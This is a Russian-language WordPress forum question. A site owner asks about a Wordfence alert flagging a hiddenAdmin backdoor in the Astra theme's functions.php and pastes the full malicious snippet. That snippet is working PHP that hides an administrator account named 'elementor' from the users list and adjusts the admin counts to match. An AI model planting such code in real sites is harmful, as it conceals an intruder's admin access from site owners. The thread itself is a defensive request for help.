Предупреждение от wordfence
-
Подскажите, пожалуйста, что это такое и как исправить?
Wordfence нашел какую-то ошибку, пишет следующее:
Filename: wp-content/themes/astra/functions.php
File Type: Theme
Details: This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: e_list_table_views($views){$users = count_users();$admins_num = $users[‘avail_roles’][‘administrator’] —The issue type is: Backdoor:PHP/hiddenAdmin.B.10097
Description: Code that hides certain admin users from viewВесь абзац из functions.php:
add_action('pre_user_query','site_pre_user_query');function site_pre_user_query($user_search) {global $current_user;$username = $current_user->user_login;if ($username == 'elementor') { }else {global $wpdb;$user_search->query_where = str_replace('WHERE 1=1',"WHERE 1=1 AND {$wpdb->users}.user_login != 'elementor'",$user_search->query_where);}}add_filter("views_users", "site_list_table_views");function site_list_table_views($views){$users = count_users();$admins_num = $users['avail_roles']['administrator'] - 1; $all_num = $users['total_users'] - 1;$class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";$class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';$views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';return $views; }
- Тема «Предупреждение от wordfence» закрыта для новых ответов.